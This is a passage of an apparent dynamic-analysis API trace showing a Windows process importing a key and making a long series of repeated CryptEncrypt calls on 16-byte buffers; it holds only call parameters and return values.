pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639628) returned 1 [0155.689] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.689] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.689] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.689] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.689] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.689] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.689] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.690] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.691] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.692] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.693] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 